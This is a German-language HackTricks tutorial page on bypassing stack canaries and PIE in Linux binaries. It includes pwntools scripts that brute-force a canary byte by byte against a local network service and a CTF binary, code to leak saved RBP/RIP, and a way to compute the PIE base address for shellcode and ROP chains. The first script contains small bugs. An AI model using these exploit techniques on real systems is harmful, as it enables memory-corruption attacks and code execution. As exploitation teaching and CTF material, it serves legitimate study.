hacktricks/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md
2024-02-10 15:36:32 +00:00

9.8 KiB

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Wenn Sie es mit einer Binärdatei zu tun haben, die durch einen Canary und PIE (Position Independent Executable) geschützt ist, müssen Sie wahrscheinlich einen Weg finden, um sie zu umgehen.

{% hint style="info" %} Beachten Sie, dass checksec möglicherweise nicht erkennt, dass eine Binärdatei durch einen Canary geschützt ist, wenn diese statisch kompiliert wurde und die Funktion nicht identifizieren kann.
Sie können dies jedoch manuell feststellen, wenn Sie feststellen, dass am Anfang eines Funktionsaufrufs ein Wert im Stack gespeichert wird und dieser Wert vor dem Beenden überprüft wird. {% endhint %}

Brute-Force-Canary

Der beste Weg, einen einfachen Canary zu umgehen, besteht darin, wenn die Binärdatei ein Programm ist, das bei jeder neuen Verbindung, die Sie herstellen, Kindprozesse erstellt (Netzwerkdienst), da bei jeder Verbindung dieselbe Canary verwendet wird.

Dann ist der beste Weg, den Canary zu umgehen, einfach, ihn zeichenweise per Brute-Force zu erraten, und Sie können feststellen, ob das geratene Canary-Byte korrekt war, indem Sie überprüfen, ob das Programm abgestürzt ist oder seinen regulären Ablauf fortsetzt. In diesem Beispiel brute-forcet die Funktion einen 8-Byte-Canary (x64) und unterscheidet zwischen einem korrekt geratenen Byte und einem falschen Byte, indem sie überprüft, ob eine Antwort vom Server gesendet wird (in anderen Situationen könnte dies auch mit einem try/except erfolgen):

Beispiel 1

Dieses Beispiel ist für 64-Bit implementiert, könnte aber leicht für 32-Bit implementiert werden.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Beispiel 2

Dies ist für 32-Bit implementiert, kann aber leicht auf 64-Bit geändert werden.
Beachten Sie auch, dass für dieses Beispiel das Programm zuerst ein Byte erwartet, um die Größe der Eingabe und des Payloads anzugeben.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Drucken des Canary

Eine weitere Möglichkeit, den Canary zu umgehen, besteht darin, ihn auszudrucken.
Stellen Sie sich eine Situation vor, in der ein anfälliges Programm für einen Stack Overflow eine puts-Funktion ausführen kann, die auf einen Teil des Stack Overflows zeigt. Der Angreifer weiß, dass das erste Byte des Canary ein Nullbyte (\x00) ist und der Rest des Canary aus zufälligen Bytes besteht. Dann kann der Angreifer einen Überlauf erstellen, der den Stack überschreibt, bis nur noch das erste Byte des Canary übrig ist.
Dann ruft der Angreifer die Funktionalität puts in der Mitte der Nutzlast auf, die den gesamten Canary (außer dem ersten Nullbyte) ausdruckt.
Mit diesen Informationen kann der Angreifer einen neuen Angriff entwerfen und senden, wobei er den Canary kennt (in derselben Programmsitzung).

Offensichtlich ist diese Taktik sehr eingeschränkt, da der Angreifer in der Lage sein muss, den Inhalt seiner Nutzlast zu drucken, um den Canary zu extrahieren und dann eine neue Nutzlast (in derselben Programmsitzung) zu erstellen und den echten Pufferüberlauf zu senden.
CTF-Beispiel: https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html

PIE

Um den PIE zu umgehen, müssen Sie eine Adresse leaken. Und wenn die Binärdatei keine Adressen leakt, ist es am besten, das RBP und RIP, die im Stack gespeichert sind, per Brute-Force zu ermitteln.
Wenn beispielsweise eine Binärdatei sowohl mit einem Canary als auch mit PIE geschützt ist, können Sie mit dem Brute-Forcen des Canarys beginnen. Dann werden die nächsten 8 Bytes (x64) das gespeicherte RBP und die nächsten 8 Bytes das gespeicherte RIP sein.

Um das RBP und das RIP der Binärdatei per Brute-Force zu ermitteln, können Sie feststellen, dass ein gültig geratenes Byte korrekt ist, wenn das Programm etwas ausgibt oder einfach nicht abstürzt. Die gleiche Funktion, die zum Brute-Forcen des Canarys verwendet wird, kann auch zum Brute-Forcen des RBP und des RIP verwendet werden:

print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Basisadresse erhalten

Das Letzte, was Sie benötigen, um den PIE zu umgehen, ist die Berechnung von nützlichen Adressen aus den durchgesickerten Adressen: dem RBP und dem RIP.

Vom RBP aus können Sie berechnen, wo Sie Ihren Shellcode im Stack schreiben. Dies kann sehr nützlich sein, um zu wissen, wo Sie den String "/bin/sh\x00" im Stack schreiben werden. Um den Abstand zwischen dem durchgesickerten RBP und Ihrem Shellcode zu berechnen, setzen Sie einfach einen Haltepunkt nach dem Durchsickern des RBP und überprüfen Sie, wo sich Ihr Shellcode befindet. Anschließend können Sie den Abstand zwischen dem Shellcode und dem RBP berechnen:

INI_SHELLCODE = RBP - 1152

Vom RIP aus können Sie die Basisadresse der PIE-Binärdatei berechnen, die Sie benötigen, um eine gültige ROP-Kette zu erstellen.
Um die Basisadresse zu berechnen, führen Sie einfach objdump -d vunbinary aus und überprüfen Sie die zuletzt disassemblierten Adressen:

In diesem Beispiel sehen Sie, dass nur 1 Byte und eine Hälfte benötigt werden, um den gesamten Code zu lokalisieren. Die Basisadresse in dieser Situation ist daher der ausgelaufene RIP, endend mit "000". Wenn Sie beispielsweise 0x562002970ecf ausgelaufen haben, lautet die Basisadresse 0x562002970000.

elf.address = RIP - (RIP & 0xfff)
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: